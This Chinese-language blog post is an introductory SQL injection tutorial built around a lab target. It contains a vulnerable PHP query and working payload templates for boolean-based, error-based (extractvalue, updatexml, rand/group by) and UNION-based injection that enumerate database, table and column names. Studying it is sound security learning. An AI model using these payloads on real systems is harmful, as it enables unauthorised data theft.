SQL 注入詳解

實習期間的主要工做是研究 WEB 安全,剛開始的時候,研究的主要是 SQL 注入,由於以前沒有搞過安全,全部費了好長一段時間對 SQL 注入基本知識進行了解。這篇文章並非什麼很深刻的技術博客,或許應該叫它‘ SQL注入掃盲 ’php

clipboard.png

關於 SQL Injection

SQL Injection 就是經過把惡意的 SQL 命令插入到 Web 表單讓服務器執行,最終達到欺騙服務器或數據庫執行惡意的 SQL 命令。mysql

學習 SQL 注入,首先要搭一個靶機環境,我使用的是 OWASP BWA,感興趣的能夠去官網下載一個安裝,除了 SQL 注入,不少靶機環境均可以在 BWA 中找到,它專門爲 OWASP ZAP 滲透工具設計的。git

$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result); 

這是一個很簡單的 PHP代碼,從前臺得到 id 的值,交給數據庫來執行,把結果返回給前臺。github

好比咱們在 OWASP 裏輸入 id = 1,點擊 Submit,返回結果以下:sql

clipboard.png

稍微懂一點後臺或者數據庫的人都知道,上面的那段代碼是有嚴重問題的,沒有對 id 的值進行有效性、合法性判斷。也就是說,咱們在 submit 輸入框輸入的如何內容都會被提交給數據庫執行,好比在輸入框輸入1' or '1'='1,執行就會變成:數據庫

//原先要在數據庫中執行的命令
SELECT first_name, last_name FROM users WHERE user_id = '1'
//變成
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'

注意一下單引號,這是 SQL 注入中很是重要的一個地方,因此注入代碼的最後要補充一個 '1'='1讓單引號閉合。後端

因爲 or 的執行,會把數據庫表 users 中的全部內容顯示出來,安全

clipboard.png

下面對三種主要的注入類型進行介紹。服務器

Boolean-based 原理分析

首先不得不講SQL中的AND和OR
AND 和 OR 可在 WHERE 子語句中把兩個或多個條件結合起來。
AND:返回第一個條件和第二個條件都成立的記錄。
OR:返回知足第一個條件或第二個條件的記錄。
AND和OR即爲集合論中的交集和並集。
下面是一個數據庫的查詢內容。markdown

mysql> select * from students;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

1)

mysql> select * from students where TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

2)

mysql> select * from students where FALSE ;
Empty set (0.00 sec)

3)

mysql> SELECT * from students where id = 10056 and TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
+-------+-------+-----+
1 row in set (0.00 sec)

4)

mysql> select * from students where id = 10056 and FALSE ;
Empty set (0.00 sec)

5)

mysql> selcet * from students where id = 10056 or TRUE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
| 10058 | Jaune |  22 |
| 10060 | Alisa |  29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

6)

mysql> select * from students where id = 10056 or FALSE ;
+-------+-------+-----+
| id    | name  | age |
+-------+-------+-----+
| 10056 | Doris |  20 |
+-------+-------+-----+
1 row in set (0.00 sec)

會發現and 1=1 , and 1=2 便是 and TRUE , and FALSE 的變種。
這即是最基礎的boolean注入,以此爲基礎你能夠自由組合語句。

字典爆破流

and exists(select * from ?)     //?爲猜想的表名
and exists(select ? from x)     //?爲猜想的列名

截取二分流

and (length((select schema_name from information_schema.schemata limit 1))>?)       //判斷數據庫名的長度
and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?')
and (substr((select schema_name from information_schema.schemata limit 1),1,1)<'?')      //利用二分法判斷第一個字符

Boolean-based總結

根據前面的介紹,咱們知道,對於基於Boolean-based的注入,必需要有一個能夠正常訪問的地址,好比http: //redtiger.labs.overthewire.org/level4.php?id=1 是一個能夠正常訪問的記錄,說明id=1的記錄是存在的,下面的都是基於這個進一步猜想。先來判斷一個關鍵字keyword的長度,在後面構造id=1 and (select length(keyword) from table)=1,從服務器咱們會獲得一個返回值,若是和先前的返回值不同,說明and後面的(select length(keyword) from table)=1返回false,keyword的長度不等於1。繼續構造直到id=1 and (select length(keyword) from table)=15返回true,說明keyword的長度爲15。

爲何咱們剛開始必定要找一個已經存在的id,其實這主要是爲了構造一個爲真的狀況。Boolean-based就是利用查詢結果爲真和爲假時的不一樣響應,經過不斷猜想來找到本身想要的東西。

對於keyword的值,mysql數據庫可使用substr(string, start, length)函數,截取string從第start位開始的length個字符串id=1 and (select substr(keyword,1,1) from table) ='A',依此類推,就能夠得到keyword的在數據庫中的值。
Boolean-based的效率很低,須要多個請求才能肯定一個值,儘管這種代價能夠經過腳原本完成,在有選擇的狀況下,咱們會優先選擇其餘方式。

Error Based 原理分析

關於錯誤回顯

基於錯誤回顯的sql注入就是經過sql語句的矛盾性來使數據被回顯到頁面上

所用到的函數

count() 統計元祖的個數(至關於求和)
如select count(*) from information_schema.tables;  

rand()用於產生一個0~1的隨機數  

floor()向下取整  

group by 依據咱們想要的規矩對結果進行分組  

concat將符合條件的同一列中的不一樣行數據拼接,以逗號隔開

用於錯誤回顯的sql語句

第一種: 基於 rand() 與 group by 的錯誤

利用group by part of rand() returns duplicate key error這個bug,關於rand()函數與group by 在mysql中的錯誤報告以下:

**RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.**

這個bug會爆出duplicate key這個錯誤,而後順便就把數據偷到了。
公式:username=admin' and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想獲取的數據的sql語句))x from information_schema.tables group by x )a) and '1' = '1

第二種: XPATH爆信息

這裏主要用到的是ExtractValue()和UpdateXML()這2個函數,因爲mysql 5.1之後提供了內置的XML文件解析和函數,因此這種注入只能用於5.1版本之後使用

查看sql手冊

語法:EXTRACTVALUE (XML_document, XPath_string);
第一個參數:XML_document是String格式,爲XML文檔對象的名稱,文中爲Doc
第二個參數:XPath_string (Xpath格式的字符串) ,若是不瞭解Xpath語法,能夠在網上查找教程。

做用:從目標XML中返回包含所查詢值的字符串

語法:UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,爲XML文檔對象的名稱,文中爲Doc
第二個參數:XPath_string (Xpath格式的字符串) ,若是不瞭解Xpath語法,能夠在網上查找教程。
第三個參數:new_value,String格式,替換查找到的符合條件的數據

做用:改變文檔中符合條件的節點的值

如今就很清楚了,咱們只須要不知足XPath_string(Xpath格式)就能夠了,可是因爲這個方法只能爆出32位,因此能夠結合mid來使用
公式1:username=admin' and (extractvalue(1, concat(0x7e,(你想獲取的數據的sql語句)))) and '1'='1
公式2:username=admin' and (updatexml(1, concat(0x7e,(你想獲取的數據的sql語句)),1)) and '1'='1

基於錯誤回顯的注入,總結起來就一句話,經過sql語句的矛盾性來使數據被回顯到頁面上,但有時候侷限於回顯只能回顯一條,致使基於錯誤的注入偷數據的效率並無那麼高,但相對於布爾注入已經提升了一個檔次。

union query injection

要了解union query injection,首先得了解union查詢,union用於合併兩個或更多個select的結果集。好比說

SELECT username, password FROM account;

結果是

admin 123456

SELECT id, title FROM article

的結果是

1 Hello, World

SELECT username, password FROM account
UNION 
SELECT id, title FROM article

的結果就是

admin 123456

1 Hello, World

比起多重嵌套的boolean注入,union注入相對輕鬆。由於,union注入能夠直接返回信息而不是布爾值。前面的介紹看出把union會把結果拼拼到一塊兒,全部要讓union前面的查詢返回一個空值,通常採用相似於id=-1的方式。

1)

mysql> select name from students where id = -1 union select schema_name from information_schema.schemata;   //數據庫名  
+--------------------+
| name               |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| rumRaisin          |
| t3st               |
| test               |
+--------------------+
6 rows in set (0.00 sec)

2)

mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema='t3st';    //表名
+----------+
| name     |
+----------+
| master   |
| students |
+----------+
2   rows in set (0.00 sec)

3)

mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = 'students' ;     //列名
+------+
| name |
+------+
| id   |
| name |
| age  |
+------+
3 rows in set (0.00 sec)

UNION 操做符用於合併兩個或多個 SELECT 語句的結果集。請注意,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有類似的數據類型。同時,每條 SELECT 語句中的列的順序必須相同。

舉個例子,還以最開始的 OWASP 爲基礎,返回了兩個值分別是 first_name 和 sur_name,可想而知,服務器在返回數據庫的查詢結果時,就會把結果中的第一個值和第二個值傳給 first_name 和 sur_name,多了或少了,都會引發報錯。

因此你若是想要使用union查詢來進行注入,你首先要猜想後端查詢語句中查詢了多少列,哪些列能夠回顯給用戶。

猜想列數

-1 union select 1
-1 union select 1,2
-1 union select 1,2,3
//直到頁面正常顯示

好比這條語句

-1 UNION SELECT 1,2,3,4

若是顯示的值爲3和4,表示該查詢結果中有四列,而且第三列和第四列是有用的。則相應的構造union語句以下

-1 UNION SELECT 1,2,username,password FROM table

小結一下

SQL 注入大概有5種,還有兩種分別是 Stacked_queries(基於堆棧)和 Time-based blind(時間延遲),堆棧就是多語句查詢,用 ‘;’ 把語句隔開,和 union 同樣;時間延遲就是利用 sleep() 函數讓數據庫延遲執行,偷數據的速度很慢。(還有一個第六種,內聯注入,但和前面涉及的內容有所重疊,就不單獨來討論了)寫這篇文章的時候,也是剛剛接觸 markdown 的時候,不少格式都不規範,好比中英文之間半角的空格都沒有,你們就且看且無視吧。

引用說明,本身以前研究 SQL 注入的時候,也是一點一點摸索的,本博客的大部份內容是來自於公司內網的服務器中(公司按期考覈,看你都幹了什麼)。當時由於是內網,就沒有作引用,如今想找到這些引用的文章也很困難,見諒。

歡迎來個人博客交流。

相關文章
相關標籤/搜索